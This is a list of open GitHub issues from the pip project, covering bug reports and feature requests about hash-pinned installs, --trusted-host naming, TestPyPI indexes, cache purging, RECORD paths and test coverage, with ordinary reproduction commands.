* OS: Debian Buster and Ubuntu 16.04


**Description**

I was trying pin the versions of `pip` and `setuptools` and `wheel` for a virtualenv (for package building).

The `update_virtualenv.txt` file 

```
#
# This file is autogenerated by pip-compile
# To update, run:
#
#    pip-compile --allow-unsafe --generate-hashes --output-file=update_virtualenv.txt update_virtualenv.in
#
wheel==0.34.2 \
    --hash=sha256:8788e9155fe14f54164c1b9eb0a319d98ef02c160725587ad60f14ddc57b6f96 \
    --hash=sha256:df277cb51e61359aba502208d680f90c0493adec6f0e848af94948778aed386e

# The following packages are considered to be unsafe in a requirements file:
pip==20.0.2 \
    --hash=sha256:4ae14a42d8adba3205ebeb38aa68cfc0b6c346e1ae2e699a0b3bad4da19cef5c \
    --hash=sha256:7db0c8ea4c7ea51c8049640e8e6e7fde949de672bfa4949920675563a5a6967f
setuptools==45.2.0 \
    --hash=sha256:316484eebff54cc18f322dea09ed031b7e3eb00811b19dcedb09bc09bba7d93d \
    --hash=sha256:89c6e6011ec2f6d57d43a3f9296c4ef022c2cbf49bab26b407fe67992ae3397f
```
Then the commands given as:

```
$ virtualenv --setuptools --no-site-packages --python=python3 /tmp/woo
$ /tmp/woo/bin/python3 -m pip install --verbose --ignore-installed --no-deps --no-cache-dir --require-hashes --no-compile -r ./update_virtualenv.txt
```

**Expected behavior**

I expect `pip` to install  the packages mentioned in the file.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

Steps are given above.

**Output**

```
# /tmp/work8/bin/python3 -m pip install --verbose --ignore-installed --no-deps --no-cache-dir --require-hashes --no-compile -r update_virtualenv.txt   
Non-user install because user site-packages disabled

output snipped as too long

  Found link https://files.pythonhosted.org/packages/54/0c/d01aa759fdc501a58f431eb594a17495f15b88da142ce14b5845662c13f3/pip-20.0.2-py2.py3-none-any.whl#sha256=4ae14a42d8adba3205ebeb38aa68cfc0b6c346e1ae2e699a0b3bad4da19cef5c (from https://pypi.org/simple/pip/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*), version: 20.0.2
  Found link https://files.pythonhosted.org/packages/8e/76/66066b7bc71817238924c7e4b448abdb17eb0c92d645769c223f9ace478f/pip-20.0.2.tar.gz#sha256=7db0c8ea4c7ea51c8049640e8e6e7fde949de672bfa4949920675563a5a6967f (from https://pypi.org/simple/pip/) (requires-python:>=2.7,!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*), version: 20.0.2
Given no hashes to check 137 links for project 'pip': discarding no candidates

```

user: kushaldas
labels: type: support: User Support
UX: User experience related
UX: functionality research epic: Temporary label to link tickets to #8516
issue_7725: state: open
title: "--trusted-host" flag is confusing/misleading replace with "--allow-deprecated-insecure-http-for-host"
body: **What's the problem this feature will solve?**
the "--trusted-host" flag is confusing/misleading. I have seen "--trusted-host" added due to a misunderstanding as to what the flag did. The developer wanted that host to be "trusted" because it *did* support https TLS

**Describe the solution you'd like**
replace with "--allow-deprecated-insecure-http-for-host"

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

**Alternative Solutions**
remove the "--trusted-host" flag entirely and require developers to setup an https proxy

**Additional context**
https://blog.mozilla.org/security/2015/04/30/deprecating-non-secure-http/

user: graingert
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_7701: state: open
title: More actionable error messages when packages aren''t available on an architecture
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->

It would be useful, especially for users new to Python, when a package is not found, to see if that package is available on other architectures, and give a meaningful error message. For example, Facebook only built 64-bit versions of torch, but the default Python on python.org for Windows is 32-bit, and this can cause frustration to users who don't realize this, and just get a message that the package installation couldn't be satisfied.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->

An error message, something like:

"torch 1.4.0 is only available for 64-bit Python, but your are trying to install it with a 32-bit version of Python. Please install a 64-bit version of Python and try again."

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

We have seen this happen with users and its confusing to them (by we, I mean the Visual Studio Code team).

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->

**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->

user: gramster
labels: type: enhancement: Improvements to functionality
UX: User experience related
C: error messages: Improving error messages
issue_7689: state: open
title: Automatically check for typos using codespell + pre-commit
body: > It could be worthwhile to look into whether a pre-commit hook spell-checking some files would be more helpful than not.

_Originally posted by @chrahunt in https://github.com/pypa/pip/pull/7642#issuecomment-581156528_

---

Looks like https://github.com/codespell-project/codespell has a pre-commit hook configuration. The configuration change would be to add the following to our `.pre-commit-config.yaml` file.

```yaml
- repo: https://github.com/codespell-project/codespell
  rev: v1.16.0
  hooks:
    - id: codespell
```

user: pradyunsg
labels: C: automation: Automated checks, CI etc
state: needs discussion: This needs some more discussion
type: maintenance: Related to Development and Maintenance Processes
issue_7658: state: open
title: Incorrect script paths in RECORD for --target installations
body: **Environment**

* pip version: 20.0.2
* Python version: CPython 3.8
* OS: Linux (RHEL 7.7)

<!-- Feel free to add more information about your environment here -->

**Description**
<!-- A clear and concise description of what the bug is. -->
When using the `--target` option, `pip` rewrites the `RECORD` file and adds the relative paths to scripts in the `bin` directory if any were installed. However, the `_handle_target_dir` function in `commands/install.py` moves the `bin` directory into the target location, so it's adjacent to the installed packages in that folder. However, the `RECORD` file still contains the old relative path to the `bin` directory which is now incorrect.

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->
`RECORD` (and `installed-files.txt`) should contain the correct path to scripts installed in `bin`.

**How to Reproduce**
<!-- Describe the steps to reproduce this bug. -->

1. `pip install --target /tmp/pip_test pip`
2. `head /tmp/asdf/pip_test/RECORD`
3. Observe that the `pip` script is listed under `../../bin/pip` instead of `bin/pip`


user: lkollar
labels: type: bug: A confirmed bug or unintended behavior
issue_7657: state: open
title: "No matching distribution found for dotnetcore2" in pip 20.0.2
body: **Environment**

* pip version: 20.0.2
* Python version: 3.6.9
* OS: Ubuntu 18.04 (on docker OS is: Alpine:3.11.3)

**Description**
Pip can seemingly no longer install any version of dotnetcore2. I'm trying to install artifacts-keyring, and has a dependency on dotnetcore2, which I can't install it.

**Expected behavior**
It should be able to install dotnetcore2.

**How to Reproduce**
pip install dotnetcore2==2.1.11

**Output**

```
/app # pip install dotnetcore2==2.1.11
ERROR: Could not find a version that satisfies the requirement dotnetcore2==2.1.11 (from versions: none)
ERROR: No matching distribution found for dotnetcore2==2.1.11
```

I've already downgraded my pip to 19.3.1, and I still got the same error.
user: eibrunorodrigues
labels: type: support: User Support
issue_7650: state: open
title: Error installing git+file VCS references
body: **Environment**

* pip version: 20.0
* Python version: 3.7
* OS: linux

**Description**

The following installation of a PEP 440 local VCS reference fails: (using bash to reproduce)

```console
$ git clone https://github.com/pypa/packaging
...
$ pip install "packaging @ git+file://$PWD/packaging"
ERROR: Invalid requirement: 'packaging @ git+file:///home/.../packaging'
Hint: It looks like a path. File 'packaging @ git+file:///home/.../packaging' does not exist.
```

**Expected behavior**

It should work, as does the pip-specific URL form:

```console
$ pip install "git+file://$PWD/packaging#egg=packaging"
```

and as does the PEP 440 form with a remote VCS URL:

```console
$ pip install "packaging @ git+https://github.com/pypa/packaging"
```

user: sbidoul
labels: type: bug: A confirmed bug or unintended behavior
C: vcs: pip's interaction with version control systems like git, svn and bzr
project: vendored dependency: Related to a vendored dependency
UX: User experience related
C: direct url: Direct URL references (PEP 440, PEP 508, PEP 610)
C: error messages: Improving error messages
issue_7634: state: open
title: "standalone" install flag
body: **What's the problem this feature will solve?**

Many new users just want to install an end product, some cli tool or app, and end up polluting their user or global environment with a bunch of library packages, packages that are often incompatible with one another.

**Describe the solution you'd like**

I'd like to see a `--standalone` flag that install a piece of software in it's own virtualenv in the users home dir.

For example a user could run `pip install --standalone docker-compose` and instantly get a fresh install of docker-compose, in it's own virtualenv.

**Alternative Solutions**

I'm sure there are other ways to do this, but they don't have the same impact as there clearly being one obvious standard.

**Additional context**

All the same arguments that apply to static/shared libraries probably apply to this situation as well. Still, there are a lot of newcomers coming into the python scene and a command like this should help them not mess up their python env too much.

I presume *something* like this has been suggested before, but I can't find it.

user: traverseda
labels: state: needs discussion: This needs some more discussion
type: feature request: Request for a new feature
issue_7628: state: open
title: Release beta versions of pip?
body: After the [recent problems of pip 20.0](https://github.com/pypa/pip/issues/7620) (kudos to the developers for the quick fix!) I remembered [the issues that arose when 19.0 was released with PEP 517 support](https://github.com/pypa/pip/issues/6163).

There is [a comment from @pfmoore about not doing prereleases](https://github.com/pypa/pip/issues/6106#issuecomment-451074986):

> If you mean do we need a prerelease, I don't think so. It's not something we've done that often in the past, and the PEP 517 changes should default back to legacy processing, so I'd be OK just going for a normal release. In my experience, very few people actually test the betas anyway.

Including a remark that aged somewhat badly:

> I'm not against a beta (I think it would be better if we did have a standard process of doing prereleases) but I don't think the PEP 517 changes warrant one on their own.

I wonder if the pip developers would reconsider producing one beta or release candidate before the actual release to prevent this kind of sudden breakage. Even if a tiny percentage of users actually tests the beta, perhaps there would be more chances of catching these bugs earlier.
user: astrojuanlu
labels: state: needs discussion: This needs some more discussion
type: maintenance: Related to Development and Maintenance Processes
issue_7605: state: open
title: Verify quoting for other parts of the URL
body: Following up https://github.com/pypa/pip/pull/7596/files#r366809139

Currently there are no tests around special characters for things like `&subdirectory=`, `#egg=`, and other parts of the URL like auth. We should add those and verify they are all working. (`egg` is probably fine since all valid package names are URL-safe anyway, but it won’t hurt to at least understand its behaviour.)

Related: #7596 #7604
user: uranusjr
labels: S: needs triage: Issues/PRs that need to be triaged
issue_7589: state: open
title: Docs: Specify the types of requirement pip supports (internal details)
body: **What's the problem this feature will solve?**
At the moment, there are a lot of subtle edge cases in what pip will accept as a "requirement" that are not well documented and/or are special cased in the code. There are a lot of adhoc terms (e.g., "direct requirement" and "unnamed requirement") used in the code, and it is sometimes difficult to track down precise meanings.

**Describe the solution you'd like**
Ideally, there should be a section in the documentation (or somewhere) that classifies all of the various "types" of thing that pip can be asked to install, and how they map to specific "requirement types" - part of the goal here should be to establish more consistent terminology, and have a central place where these terms are explained.

As noted above, terms like "direct requirement" and "unnamed requirement" would be good examples of terms that need clarification. Also, adding more clarity around how the requirement types pip handles map back to PEP 440 concepts would make it easier to reason about pip's standards compliance.

**Alternative Solutions**
Continue to document such details in the code, and/or infer behaviour from the code.

**Additional context**
When building the new resolver, the interface will necessarily be based around passing a set of requirements from pip to the resolver. At the moment, a pip `RequirementSet` contains a lot of internal specifics, which would not make sense to include in an API that could be passed to a general resolver. Ideally the resolver API could be specified purely in terms of PEP 440 concepts (specifiers of the form `NAME OP VERSION` and direct references, `NAME @ URL`), but to do that we would need a clear mapping between pip's concepts and the PEP's.

This issue is intended as a place for discussion on how to model pip's idea of requirements in a standards-compliant way.
user: pfmoore
labels: state: needs discussion: This needs some more discussion
type: maintenance: Related to Development and Maintenance Processes
issue_7579: state: open
title: Follow PEP 440 and install non-dev versions if `--pre` is not given
body: People installing `scanpy==1.4.4.post1` (which specifies `anndata>=0.6.22rc1`) currently get `anndata==0.7rc2`. I think they should get `anndata==0.6.22` instead.

**What's the problem this feature will solve?**
Currently pip treats the `>=` and `rc` parts separately:

- `>=` means to pip “Anything bigger is OK” (except for rcs and alphas and betas)
- `rc` means “The user is OK with release candidates”

I don’t think that makes sense: When you specify a dependency as `>=X.YrcZ`, you mean “I need X.Y and consider the prereleases **of X.Y** to be stable enough”. It doesn’t mean you extend trust to *any* future prereleases of that package.

**Describe the solution you'd like**
~~If rc, alpha, beta, … appears in a version, >= should mean “get me any higher development versions of that version, or any higher release versions” E.g. `>=0.6.22a1` should mean `0.6.22a2`, `0.6.22b1`, `0.6.22rc2`, are OK, and any stable version `>=0.6.22`~~

Follow PEP 440 as described below:
user: flying-sheep
labels: state: needs discussion: This needs some more discussion
S: needs triage: Issues/PRs that need to be triaged
PEP implementation: Involves some PEP
issue_7570: state: open
title: Extract downloaded file copying from operations.prepare
body: **What's the problem this feature will solve?**

For `pip download` and `pip wheel`, pip copies downloaded files to the output directory while it is doing preparation of requirements [here](https://github.com/pypa/pip/blob/9c64c82186c9cc6fb30f3cc7c8906ff4b9238d53/src/pip/_internal/operations/prepare.py#L517-L528).

Pulling this logic out of `operations.prepare` will allow us more flexibility to implement the new resolver without breaking `pip download` or `pip wheel`, because:

1. we will not be obligated to re-use `RequirementPreparer` in order to have files downloaded
2. we will not have to implement the same functionality in new objects collaborating to do the new dependency resolution

**Describe the solution you'd like**

Do what the code [here](https://github.com/pypa/pip/blob/9c64c82186c9cc6fb30f3cc7c8906ff4b9238d53/src/pip/_internal/operations/prepare.py#L517-L528) is doing, except in `pip._internal.commands.DownloadCommand` and `pip._internal.commands.WheelCommand`.

**Alternative Solutions**

1. Keep the logic for downloads in `RequirementPreparer` - since `RequirementPreparer` is so tightly coupled to `Resolver` we are unlikely to use it for the new resolver, so we would need to worry about reimplementing this logic

**Additional context**

* #7049
user: chrahunt
labels: type: refactor: Refactoring code
issue_7525: state: open
title: Make it easier for contributors to run cross-platform mypy checks
body: **What's the problem this feature will solve?**

Currently when mypy is run only compatibility with the current platform is tested. Some APIs are platform-dependent, and by default mypy will only detect that if it is running on the platform in question.

This makes it harder to ensure that typing checks will succeed on all platforms (which will matter after #7520 is merged), which could be a surprise for contributors that took the time to run the lint checks locally.

**Describe the solution you'd like**

mypy supports a `--platform` flag ([docs](https://mypy.readthedocs.io/en/latest/config_file.html#platform-configuration)). We should configure pre-commit so that mypy is executed by default for all combinations of Linux, macOS, and Windows for Python 2 and 3.

How fast this is will depend on the criteria mypy uses for its cache.

**Alternative Solutions**

* conditional checks - pre-commit supports [skipping](https://pre-commit.com/#temporarily-disabling-hooks) hooks by name, and an [`alias`](https://pre-commit.com/#pre-commit-configyaml---hooks) option. With these together it should be possible to come up with a default behavior for contributors that are running `tox -e lint`, but still allow us to reduce the amount of local configuration changes that contributors wanting faster or more thorough checks have to maintain.
* do nothing, let CI handle it
* everyone individually comes up with a local solution

**Additional context**

* #7520
user: chrahunt
labels: state: needs discussion: This needs some more discussion
type: maintenance: Related to Development and Maintenance Processes
issue_7506: state: open
title: Log copied files
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->
Verbose logging does not log what files are installed.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->
I would like the log to include information about what files are installed, ideally with source and destination information.  Skipped files should be noted.

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->
I am troubleshooting a problem in which binary files are not copied to some systems for some reason.  I believe this information would be useful for a number of real-world troubleshooting and auditing use cases.

**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->
None.

**Additional context**
<!-- Add any other context, links, etc. about the feature here. -->
None.
user: brl0
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
issue_7486: state: open
title: extra-index-url doesn't work as suggested in "Using TestPyPI" guide
body: **Environment**

* pip version: 18.1
* Python version: 3.7.5
* OS: Linux, Ubuntu 19.10


**Description**
I'm trying to test dependencies for my package in TestPyPI before uploading to "real" PyPI. The guide at:
https://packaging.python.org/guides/using-testpypi/
says I can do this with:
`pip install --index-url https://test.pypi.org/simple/ --extra-index-url https://pypi.org/simple your-package`

So after uploading to TestPyPI with twine, I create a new virtualenv, activate it, pip install wheel, then:
`pip install --index-url https://test.pypi.org/simple/ --extra-index-url https://pypi.org/simple pytopo==1.6.1
`
This fails with:
Could not install packages due to an EnvironmentError: 404 Client Error: Not Found for url: https://test.pypi.org/simple/pycairo/

Which dependency it fails on varies; it's not always pycairo, but the rest of the message is always the same. Note that it's looking for dependencies in test.pypi.org, not pypi.org. If I just pip install pycairo (or whatever other dependency it fails on), that always works, so the packages are in pypi though not in test.pypi.


**Expected behavior**
Based on the "Using TestPyPI" guide and the pip man page, I expected that this would look for pytopo version 1.6.1 in TestPyPI, find it, try to satisfy its dependencies, and when the dependencies weren't found in TestPyPI it would look for them in PyPI, install them all then proceed to install pytopo from TestPyPI.

**How to Reproduce**
```
python3 -m venv /tmp/test3env
source /tmp/test3env/bin/activate
pip install wheel
pip install --index-url https://test.pypi.org/simple/ --extra-index-url https://pypi.org/simple pytopo==1.6.1
```

**Output**

```
Could not install packages due to an EnvironmentError: 404 Client Error: Not Found for url: https://test.pypi.org/simple/pycairo/
```

user: akkana
labels: project: <downstream>: When the cause/effect is related to redistributors
issue_7470: state: open
title: "pip list" does not exit with an error if no network is available
body: **Environment**

* pip version: 19.3.1
* Python version: 3.6 
* OS: OSX

**Description**

If no network is provided, pip will raise warnings that it can't fetch any packages, however it still exits with an exit cod 0.

**Expected behavior**

Exit with a status code of 1 or higher.

**How to Reproduce**

Disable your network and run `pip list -o`

**Output**

```
$ pip list -o --retries=1
WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.VerifiedHTTPSConnection object at 0x10c897220>: Failed to establish a new connection: [Errno 8] nodename nor servname provided, or not known')': /simple/wrapt/
WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.VerifiedHTTPSConnection object at 0x10c897d00>: Failed to establish a new connection: [Errno 8] nodename nor servname provided, or not known')': /simple/wheel/
WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.VerifiedHTTPSConnection object at 0x10c897730>: Failed to establish a new connection: [Errno 8] nodename nor servname provided, or not known')': /simple/webencodings/
...

❯ echo $?
0
```

user: bartTC
labels: type: enhancement: Improvements to functionality
C: list/show: 'pip list' or 'pip show'
issue_7450: state: open
title: pip behaves poorly when legacy package does not generate a record file
body: **Environment**

* pip version: 19.3.1
* Python version: 3.8.0
* OS: Ubuntu 18.04

Should apply across all pip, Python, and OS versions.

**Description**

When pip installs a legacy package (calling `setup.py install` directly) it passes `--record /tmp/path/to/install-record.txt`. setuptools should be populating this with the list of installed files.

If a file is not generated, then pip silently continues processing the next requirement to install. This leads to:

1. If any pre-install uninstall occurred for this package then the backed-up files will be left behind in the site-packages directory
2. pip cannot uninstall the "installed" distribution if it got to the point of installing anything
3. users are not informed of the issue
4. really confusing behavior

**Expected behavior**

1. If pip installs a package that does not generate a record file, then it should fail installation, not continue. 
2. Pip should roll back the uninstalled package.

In all likelihood this would result from user error, as demonstrated in the script below. In case it is not - both distutils and setuptools have supported this option for at least 10 years, so it's reasonable to expect legacy-installable packages to treat it correctly.

**How to Reproduce**

Run the following script

<details>
<summary>t.sh</summary>

```
#!/bin/sh

cd "$(mktemp -d)"

python -m venv env
./env/bin/python -V
./env/bin/python -m pip install --upgrade pip

site_packages="$(./env/bin/python -c 'import site; print(site.getsitepackages()[0])')"

ls -latr "$site_packages"

cat <<EOF > setup.py
from setuptools import setup

setup(
    name="hello",
    version="0.1.0",
)
EOF

./env/bin/python -m pip install .
ls -latr "$site_packages"

./env/bin/python -m pip install --install-option=--help .
ls -latr "$site_packages"
./env/bin/python -m pip freeze
```

</details>

**Output**

<details>
<summary>Output</summary>

```
Python 3.8.0
Collecting pip
  Using cached https://files.pythonhosted.org/packages/00/b6/9cfa56b4081ad13874b0c6f96af8ce16cfbc1cb06bedf8e9164ce5551ec1/pip-19.3.1-py2.py3-none-any.whl
Installing collected packages: pip
  Found existing installation: pip 19.2.3
    Uninstalling pip-19.2.3:
      Successfully uninstalled pip-19.2.3
Successfully installed pip-19.3.1
total 36
drwxrwxr-x 3 chris chris 4096 Dec  7 13:14 ..
-rw-rw-r-- 1 chris chris  126 Dec  7 13:14 easy_install.py
drwxrwxr-x 5 chris chris 4096 Dec  7 13:14 pkg_resources
drwxrwxr-x 6 chris chris 4096 Dec  7 13:14 setuptools
drwxrwxr-x 2 chris chris 4096 Dec  7 13:14 __pycache__
drwxrwxr-x 2 chris chris 4096 Dec  7 13:14 setuptools-41.2.0.dist-info
drwxrwxr-x 5 chris chris 4096 Dec  7 13:14 pip
drwxrwxr-x 2 chris chris 4096 Dec  7 13:14 pip-19.3.1.dist-info
drwxrwxr-x 8 chris chris 4096 Dec  7 13:14 .
Processing /tmp/user/1000/tmp.iMwXry00bF
Installing collected packages: hello
    Running setup.py install for hello ... done
Successfully installed hello-0.1.0
total 40
drwxrwxr-x 3 chris chris 4096 Dec  7 13:14 ..
-rw-rw-r-- 1 chris chris  126 Dec  7 13:14 easy_install.py
drwxrwxr-x 5 chris chris 4096 Dec  7 13:14 pkg_resources
drwxrwxr-x 6 chris chris 4096 Dec  7 13:14 setuptools
drwxrwxr-x 2 chris chris 4096 Dec  7 13:14 __pycache__
drwxrwxr-x 2 chris chris 4096 Dec  7 13:14 setuptools-41.2.0.dist-info
drwxrwxr-x 5 chris chris 4096 Dec  7 13:14 pip
drwxrwxr-x 2 chris chris 4096 Dec  7 13:14 pip-19.3.1.dist-info
drwxrwxr-x 9 chris chris 4096 Dec  7 13:14 .
drwxrwxr-x 2 chris chris 4096 Dec  7 13:14 hello-0.1.0-py3.8.egg-info
/tmp/user/1000/tmp.iMwXry00bF/env/lib/python3.8/site-packages/pip/_internal/commands/install.py:283: UserWarning: Disabling all use of wheels due to the use of --build-options / --global-options / --install-options.
  cmdoptions.check_install_build_global(options)
Processing /tmp/user/1000/tmp.iMwXry00bF
Installing collected packages: hello
  Found existing installation: hello 0.1.0
    Uninstalling hello-0.1.0:
      Successfully uninstalled hello-0.1.0
    Running setup.py install for hello ... done
Successfully installed hello
total 40
drwxrwxr-x 3 chris chris 4096 Dec  7 13:14  ..
-rw-rw-r-- 1 chris chris  126 Dec  7 13:14  easy_install.py
drwxrwxr-x 5 chris chris 4096 Dec  7 13:14  pkg_resources
drwxrwxr-x 6 chris chris 4096 Dec  7 13:14  setuptools
drwxrwxr-x 2 chris chris 4096 Dec  7 13:14  __pycache__
drwxrwxr-x 2 chris chris 4096 Dec  7 13:14  setuptools-41.2.0.dist-info
drwxrwxr-x 5 chris chris 4096 Dec  7 13:14  pip
drwxrwxr-x 2 chris chris 4096 Dec  7 13:14  pip-19.3.1.dist-info
drwxrwxr-x 2 chris chris 4096 Dec  7 13:14 '~ello-0.1.0-py3.8.egg-info'
drwxrwxr-x 9 chris chris 4096 Dec  7 13:14  .
WARNING: Could not generate requirement for distribution -ello 0.1.0 (/tmp/user/1000/tmp.iMwXry00bF/env/lib/python3.8/site-packages): Parse error at "'-ello==0'": Expected W:(abcd...)
```

</details>

Notice the presence of `'~ello-0.1.0-py3.8.egg-info'` in site-packages and the warning on `pip freeze` as described in #7269.
user: chrahunt
labels: type: bug: A confirmed bug or unintended behavior
state: needs discussion: This needs some more discussion
state: awaiting PR: Feature discussed, PR is needed
issue_7429: state: open
title: A global pref to disable versions restrictions
body: **What's the problem this feature will solve?**

Some strange developers fill the metadata with misinformation:
* insert `<` conditions in dependencies specifications of their packages even if it works fine with later versions. This causes pip to downgrade the packages, which breaks other packages.
* set version 0.1 for the code in git repos. This causes installation from pypi when package having that as a dependency is installed, when in fact it is downgrade.

All these causes me to get the sources first and to edit them to remove these versions restrictions.

**Describe the solution you'd like**
I need a pref `version_restriction` for `pip.conf` having 3 possible values
* `all` - the current behavior, pip does both upgrades and downgrades
* `upgrade` - allows only packages upgrades
* `0.1` - treat 0.1 as >= than any other version, but upgrade it unconditionally
* `0.1+upgrade` - combination of 2 above
* `none` - disables versions restrictions completely.
user: KOLANICH
labels: type: enhancement: Improvements to functionality
state: needs discussion: This needs some more discussion
issue_7414: state: open
title: Add test coverage
body: **What's the problem this feature will solve?**

Currently, pip does not have any coverage tracking integrated into its test suite. This comes with a few downsides:

1. Not possible to quickly identify gaps in test coverage
2. Can't use test techniques like mutation testing, which depend on coverage data
3. Can't use it as a factor for PR evaluation

The current tox environment configured with `coverage-py3` is limited to unit tests only.

**Describe the solution you'd like**

In a separate tox target, configure `pytest-cov`/`coverage` to:

1. record coverage details for the pip package and sub-packages/modules, as invoked by:
   1. unit tests directly
   1. tests using the `script`/`virtualenv` pytest fixture (see `tests/conftest.py -> virtualenv_template`)
   1. pip itself, as part of [`build_env.BuildEnvironment.install_requirements`](https://github.com/pypa/pip/blob/4659fe16bd8bbd5ccee9e0466b5e46d96ca7e482/src/pip/_internal/build_env.py#L172-L176)
1. exclude vendored libraries
1. exclude type-only code (guarded with `if MYPY_CHECK_RUNNING`)
1. exclude Python 2 on Python 3 and vice-versa
1. combine the coverage results for all pips, which may have different paths
1. support getting coverage while using local paralellization with xdist (i.e. `-n` option)

If it helps, this could be done in Python 3 only (at first).

I have a basic first implementation [here](https://github.com/chrahunt/pip/commit/af71d16b3d5449622e0c8b474ac98ce9f390c749), but when combining the coverage reports the records from the integration tests seemed to be dropped.

**Alternative Solutions**

1. Do nothing, which comes at the cost of not having the initially mentioned capabilities

**Additional context**

* #4862 - coverage targeting unit tests added
* [twitter](https://twitter.com/metalikus/status/1192439108590813184)
user: chrahunt
labels: C: tests: Testing and related things
type: maintenance: Related to Development and Maintenance Processes
issue_7390: state: open
title: Make link logging more consistent
body: **What's the problem this feature will solve?**

Links are sometimes logged via their [`__str__`](https://github.com/pypa/pip/blob/81f05720b26973f44c91b61feffe4cba93610fb1/src/pip/_internal/models/link.py#L69-L78) method (cf https://github.com/pypa/pip/blob/81f05720b26973f44c91b61feffe4cba93610fb1/src/pip/_internal/operations/prepare.py#L480), sometimes with custom logic like in https://github.com/pypa/pip/blob/81f05720b26973f44c91b61feffe4cba93610fb1/src/pip/_internal/operations/prepare.py#L135-L140

And on top of that we have a special case for PyPI downloads.

Like Chris pointed out in https://github.com/pypa/pip/pull/7384#discussion_r349381732 this special case (reintroduced via #7225) doesn't help with debugging.

**Describe the solution you'd like**

Always use the same logic (a `Link` property (or `__str__`) when logging a link, ideally with identical logic when dealing wih filepath or VCS urls.

This could involve always using `link.show_url` for info logs and provide the full (redacted) url in `--verbose` mode.

**Alternative Solutions**

Statu quo.

user: xavfernandez
labels: type: refactor: Refactoring code
C: logging: Information Logging
state: awaiting PR: Feature discussed, PR is needed
issue_7372: state: open
title: Should 'pip cache purge' remove more than wheel files?
body: **What's the problem this feature will solve?**
<!-- What are you trying to do, that you are unable to achieve with pip as it currently stands? -->

https://github.com/pypa/pip/issues/4685 says:

> pip's cache is currently a black box that the users can't really inspect. This is not the nicest of experiences. Adding a pip cache to allow interacting with the cache (much like the new pip config) would be a good way to fix that.

Currently `git cache purge` in #6391 only removes the `*.whl` _files_ from the `pip/wheels/` directory.

This leaves:

* a lot of empty _directories_ under `pip/wheels/` (eg. 1,608 dirs, 57 KB)
* a lot of files under `pip/http/` (eg. 2,408 files, 6,850 dirs, 2.1 GB)
* a `selfcheck.json` and `pip/selfcheck/` directory (eg. 45 files, 27 KB)

Should they also be cleaned up?

`pip cache --help` says `purge will "Remove all items from the cache", but it doesn't.

Split out from https://github.com/pypa/pip/pull/6391#issuecomment-554368620 for follow-up after #6391 is merged.

**Describe the solution you'd like**
<!-- Clear and concise description of what you want to happen. -->

<!-- Provide examples of real world use cases that this would enable and how it solves the problem described above. -->

1. Should `pip cache purge` remove the `pip/wheels/` directory itself so all the subdirs are also cleaned up? In my case, it's only 57 KB afterwards, but I guess I don't need those at all, and there's potential for them to slow down the computer.

2. And I also still have a 2.1 GB `pip/http/` directory after purge. Should that also be removed?

3. And `selfcheck.json` and `pip/selfcheck/` are only 27 KB, but should `purge` remove the whole `pip/` cache dir?

~I think my `pip/wheels/` directory was quite small, especially when compared with `pip/wheels/`.~ [typo, cannot remember original] 
 
**Alternative Solutions**
<!-- Have you tried to workaround the problem using pip or other tools? Or a different approach to solving this issue? Please elaborate here. -->

* Leave the files and directories as is, to accumulate.

* Feature request https://github.com/pypa/pip/issues/7350 would allow the user to find out where the cache directory is, and writing their own commands to delete files and directories. It'd be nicer for this to be built into `pip cache purge`.

user: hugovk
labels: state: needs discussion: This needs some more discussion
C: cache: Dealing with cache and files in it
issue_7356: state: open
title: Fix test isolation for venv
body: **Description**

The test isolation logic should be fixed to work for venv. Once such a fix is made, this commit (8981895b5e34de1be2a73e5fff77879c45908700) should be reverted.

**Expected behavior**
<!-- A clear and concise description of what you expected to happen. -->

Tests get isolated properly and correctly handle venv-based environments.

user: pradyunsg
labels: type: bug: A confirmed bug or unintended behavior
C: tests: Testing and related things
type: maintenance: Related to Development and Maintenance Processes
project: virtualenv: Related to virtualenv
issue_7322: state: open
title: Only blindly remove scripts for editable installs
body: **What's the problem this feature will solve?**

Currently, pip unconditionally removes scripts associated with `scripts` and `entrypoints/console_scripts` on uninstallation of a package. That happens [here](https://github.com/pypa/pip/blob/5935489ebf0414dbcf4673e22c224b6bc4fd9566/src/pip/_internal/req/req_uninstall.py#L558-L579).

This may contribute to problems like #4670 and is in general a bad practice, since there's nothing that ties a Python package to these files.

**Describe the solution you'd like**

We should only include these scripts for editable installs, i.e. move the block under [here](https://github.com/pypa/pip/blob/5935489ebf0414dbcf4673e22c224b6bc4fd9566/src/pip/_internal/req/req_uninstall.py#L538).

Legacy installs (`setup.py install`) and PEP 517 installs both record the set of installed files, to include installed scripts and generated entrypoints. By making this change we reduce the scope of code that is uninstalling files that may have nothing to do with the package in question.

**Alternative Solutions**

* Make editable output the list of required dependencies - I tried the `--record` option to `setup.py develop`, but it didn't seem to produce any output
* Use `setup.py develop --uninstall` instead - this doesn't remove any scripts (so it would be a backwards-incompatible change) and it also removes our ability to do rollback of uninstallation.

**Additional context**

None
user: chrahunt
labels: state: needs discussion: This needs some more discussion
C: uninstall: The logic for uninstallation of packages
issue_7307: state: open
title: Undeleted temporary directories in site-packages affect subsequent installs
